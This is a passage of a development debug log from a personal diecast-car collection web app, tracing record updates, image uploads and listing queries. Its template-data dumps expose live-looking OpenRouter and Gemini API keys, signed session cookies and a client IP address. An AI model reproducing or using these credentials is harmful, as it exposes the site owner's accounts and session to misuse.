    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    HTTP_ACCEPT: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'no-cors',
    'HTTP_SEC_FETCH-DEST': 'image',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast?brand=&search=&series=195&manufacturer=&condition=',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    HTTP_PRIORITY: 'i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-02-04T10:33:50.889Z server-connect:router Serving serverConnect /api/diecast/manage
2026-02-04T10:33:50.889Z server-connect:app Executing action step identify
2026-02-04T10:33:50.889Z server-connect:app options: { provider: 'security' }
2026-02-04T10:33:50.890Z server-connect:output identity: 1
2026-02-04T10:33:50.890Z server-connect:app Executing action step restrict
2026-02-04T10:33:50.890Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:33:50.890Z server-connect:output restrict: undefined
2026-02-04T10:33:50.890Z server-connect:app Executing action step condition
2026-02-04T10:33:50.890Z server-connect:app options: {
  if: '{{$_POST.diecast_id}}',
  then: { steps: [ [Object], [Object], [Object], [Object] ] },
  else: { steps: [ [Object], [Object] ] }
}
2026-02-04T10:33:50.890Z server-connect:app Executing action step update
2026-02-04T10:33:50.890Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'update',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: 'diecast_cars',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'update `diecast_cars` set `brand_id` = ?, `series` = ?, `model_name` = ?, `release_year` = ?, `scale` = ?, `purchase_date` = ?, `price` = ?, `case` = ?, `vehicle_brand_id` = ?, `condition` = ? where `id` = ?',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2026-02-04T10:33:50.892Z server-connect:output update: { affected: 1 }
2026-02-04T10:33:50.892Z server-connect:app Executing action step upload
2026-02-04T10:33:50.892Z server-connect:app options: {
  path: '/public/assets/images/diecast',
  replaceSpace: true,
  template: '{name}_{guid}{ext}',
  fields: '{{$_POST.images}}'
}
2026-02-04T10:33:50.892Z server-connect:upload Process fields: [ 'images[]' ]
2026-02-04T10:33:50.892Z server-connect:upload Process fields: 'images[]'
2026-02-04T10:33:50.892Z server-connect:upload Processing file: {
  name: 's-l1600 (7).webp',
  data: <Buffer >,
  size: 71156,
  encoding: '7bit',
  tempFilePath: '/home/tocyxovu/ems/tmp/tmp-40-20378841770201230888',
  truncated: false,
  mimetype: 'image/webp',
  md5: 'eb90221f07e06cf8b1c9ad312ea34dcb',
  mv: [Function: mv]
}
2026-02-04T10:33:50.892Z server-connect:path toAppPath: {
  root: '/home/tocyxovu/ems',
  path: '/home/tocyxovu/ems/public/assets/images/diecast/s-l1600_7_a9e38e2d-ff3b-45d4-a38a-177f5f8c6d66.webp',
  rel: 'public/assets/images/diecast/s-l1600_7_a9e38e2d-ff3b-45d4-a38a-177f5f8c6d66.webp'
}
2026-02-04T10:33:50.892Z server-connect:path toSiteUrl: {
  root: '/home/tocyxovu/ems/public',
  path: '/home/tocyxovu/ems/public/assets/images/diecast/s-l1600_7_a9e38e2d-ff3b-45d4-a38a-177f5f8c6d66.webp',
  rel: 'assets/images/diecast/s-l1600_7_a9e38e2d-ff3b-45d4-a38a-177f5f8c6d66.webp'
}
2026-02-04T10:33:50.893Z server-connect:output upload_image: [
  {
    name: 's-l1600_7_a9e38e2d-ff3b-45d4-a38a-177f5f8c6d66.webp',
    path: '/public/assets/images/diecast/s-l1600_7_a9e38e2d-ff3b-45d4-a38a-177f5f8c6d66.webp',
    url: '/assets/images/diecast/s-l1600_7_a9e38e2d-ff3b-45d4-a38a-177f5f8c6d66.webp',
    type: 'image/webp',
    size: 71156
  }
]
2026-02-04T10:33:50.893Z server-connect:app Executing action step repeat
2026-02-04T10:33:50.893Z server-connect:app options: {
  repeat: '{{upload_image}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'images',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array],
      collapsed: true
    }
  }
}
2026-02-04T10:33:50.893Z server-connect:app Executing action step insert
2026-02-04T10:33:50.893Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [ [Object], [Object] ],
    table: 'diecast_images',
    returning: 'id',
    query: 'insert into `diecast_images` (`diecast_id`, `image_url`) values (?, ?)',
    params: [ [Object], [Object] ]
  }
}
2026-02-04T10:33:50.893Z server-connect:output images: { affected: 1, identity: 191 }
2026-02-04T10:33:50.893Z server-connect:output repeat_images: [ {} ]
2026-02-04T10:33:50.893Z server-connect:output condition: undefined
2026-02-04T10:33:51.125Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T10:33:51.125Z server-connect:app Executing action step identify
2026-02-04T10:33:51.125Z server-connect:app options: { provider: 'security' }
2026-02-04T10:33:51.126Z server-connect:output identity: 1
2026-02-04T10:33:51.126Z server-connect:app Executing action step restrict
2026-02-04T10:33:51.126Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:33:51.126Z server-connect:output restrict: undefined
2026-02-04T10:33:51.126Z server-connect:app Executing action step paged
2026-02-04T10:33:51.126Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T10:33:51.128Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 5,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      id: 180,
      model_name: 'Mercedes-Benz G 500',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 179,
      model_name: 'Mercedes-Benz 190 E 2.5-16 EVO II',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 178,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 177,
      model_name: 'Ford Bronco Wildtrak',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 176,
      model_name: 'Ford Mustang Fastback',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T10:33:51.363Z server-connect:router Serving templateView /
2026-02-04T10:33:51.363Z server-connect:app Executing action step identify
2026-02-04T10:33:51.363Z server-connect:app options: { provider: 'security' }
2026-02-04T10:33:51.363Z server-connect:output identity: 1
2026-02-04T10:33:51.363Z server-connect:app Executing action step restrict
2026-02-04T10:33:51.364Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T10:33:51.364Z server-connect:output restrict: undefined
2026-02-04T10:33:51.364Z server-connect:app Executing action step restrict
2026-02-04T10:33:51.364Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T10:33:51.364Z server-connect:output restrict: undefined
2026-02-04T10:33:51.364Z server-connect:router Render template layouts/main
2026-02-04T10:33:51.365Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    accept: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'no-cors',
    'sec-fetch-dest': 'image',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast?brand=&search=&series=195&manufacturer=&condition=',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    priority: 'i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    HTTP_ACCEPT: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'no-cors',
    'HTTP_SEC_FETCH-DEST': 'image',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast?brand=&search=&series=195&manufacturer=&condition=',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    HTTP_PRIORITY: 'i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-02-04T10:34:02.852Z server-connect:router Serving serverConnect /api/diecast/manage
2026-02-04T10:34:02.852Z server-connect:app Executing action step identify
2026-02-04T10:34:02.852Z server-connect:app options: { provider: 'security' }
2026-02-04T10:34:02.852Z server-connect:output identity: 1
2026-02-04T10:34:02.852Z server-connect:app Executing action step restrict
2026-02-04T10:34:02.852Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:34:02.853Z server-connect:output restrict: undefined
2026-02-04T10:34:02.853Z server-connect:app Executing action step condition
2026-02-04T10:34:02.853Z server-connect:app options: {
  if: '{{$_POST.diecast_id}}',
  then: { steps: [ [Object], [Object], [Object], [Object] ] },
  else: { steps: [ [Object], [Object] ] }
}
2026-02-04T10:34:02.853Z server-connect:app Executing action step update
2026-02-04T10:34:02.853Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'update',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: 'diecast_cars',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'update `diecast_cars` set `brand_id` = ?, `series` = ?, `model_name` = ?, `release_year` = ?, `scale` = ?, `purchase_date` = ?, `price` = ?, `case` = ?, `vehicle_brand_id` = ?, `condition` = ? where `id` = ?',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2026-02-04T10:34:02.854Z server-connect:output update: { affected: 1 }
2026-02-04T10:34:02.854Z server-connect:app Executing action step upload
2026-02-04T10:34:02.855Z server-connect:app options: {
  path: '/public/assets/images/diecast',
  replaceSpace: true,
  template: '{name}_{guid}{ext}',
  fields: '{{$_POST.images}}'
}
2026-02-04T10:34:02.855Z server-connect:upload Process fields: [ 'images[]' ]
2026-02-04T10:34:02.855Z server-connect:upload Process fields: 'images[]'
2026-02-04T10:34:02.855Z server-connect:upload Processing file: {
  name: 's-l1600 (3).webp',
  data: <Buffer >,
  size: 89808,
  encoding: '7bit',
  tempFilePath: '/home/tocyxovu/ems/tmp/tmp-41-20378841770201242850',
  truncated: false,
  mimetype: 'image/webp',
  md5: '0a095e02c698e740336ccfbc6fa62f6c',
  mv: [Function: mv]
}
2026-02-04T10:34:02.855Z server-connect:path toAppPath: {
  root: '/home/tocyxovu/ems',
  path: '/home/tocyxovu/ems/public/assets/images/diecast/s-l1600_3_f9225f1b-ffd8-4b59-881e-8cae0193b7bc.webp',
  rel: 'public/assets/images/diecast/s-l1600_3_f9225f1b-ffd8-4b59-881e-8cae0193b7bc.webp'
}
2026-02-04T10:34:02.855Z server-connect:path toSiteUrl: {
  root: '/home/tocyxovu/ems/public',
  path: '/home/tocyxovu/ems/public/assets/images/diecast/s-l1600_3_f9225f1b-ffd8-4b59-881e-8cae0193b7bc.webp',
  rel: 'assets/images/diecast/s-l1600_3_f9225f1b-ffd8-4b59-881e-8cae0193b7bc.webp'
}
2026-02-04T10:34:02.855Z server-connect:output upload_image: [
  {
    name: 's-l1600_3_f9225f1b-ffd8-4b59-881e-8cae0193b7bc.webp',
    path: '/public/assets/images/diecast/s-l1600_3_f9225f1b-ffd8-4b59-881e-8cae0193b7bc.webp',
    url: '/assets/images/diecast/s-l1600_3_f9225f1b-ffd8-4b59-881e-8cae0193b7bc.webp',
    type: 'image/webp',
    size: 89808
  }
]
2026-02-04T10:34:02.855Z server-connect:app Executing action step repeat
2026-02-04T10:34:02.855Z server-connect:app options: {
  repeat: '{{upload_image}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'images',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array],
      collapsed: true
    }
  }
}
2026-02-04T10:34:02.855Z server-connect:app Executing action step insert
2026-02-04T10:34:02.855Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [ [Object], [Object] ],
    table: 'diecast_images',
    returning: 'id',
    query: 'insert into `diecast_images` (`diecast_id`, `image_url`) values (?, ?)',
    params: [ [Object], [Object] ]
  }
}
2026-02-04T10:34:02.856Z server-connect:output images: { affected: 1, identity: 192 }
2026-02-04T10:34:02.856Z server-connect:output repeat_images: [ {} ]
2026-02-04T10:34:02.856Z server-connect:output condition: undefined
2026-02-04T10:34:03.079Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T10:34:03.080Z server-connect:app Executing action step identify
2026-02-04T10:34:03.080Z server-connect:app options: { provider: 'security' }
2026-02-04T10:34:03.080Z server-connect:output identity: 1
2026-02-04T10:34:03.080Z server-connect:app Executing action step restrict
2026-02-04T10:34:03.080Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:34:03.081Z server-connect:output restrict: undefined
2026-02-04T10:34:03.081Z server-connect:app Executing action step paged
2026-02-04T10:34:03.081Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T10:34:03.083Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 5,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      id: 180,
      model_name: 'Mercedes-Benz G 500',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 179,
      model_name: 'Mercedes-Benz 190 E 2.5-16 EVO II',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 178,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 177,
      model_name: 'Ford Bronco Wildtrak',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 176,
      model_name: 'Ford Mustang Fastback',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T10:34:03.305Z server-connect:router Serving templateView /
2026-02-04T10:34:03.305Z server-connect:app Executing action step identify
2026-02-04T10:34:03.305Z server-connect:app options: { provider: 'security' }
2026-02-04T10:34:03.305Z server-connect:output identity: 1
2026-02-04T10:34:03.305Z server-connect:app Executing action step restrict
2026-02-04T10:34:03.305Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T10:34:03.306Z server-connect:output restrict: undefined
2026-02-04T10:34:03.306Z server-connect:app Executing action step restrict
2026-02-04T10:34:03.306Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T10:34:03.306Z server-connect:output restrict: undefined
2026-02-04T10:34:03.307Z server-connect:router Render template layouts/main
2026-02-04T10:34:03.307Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
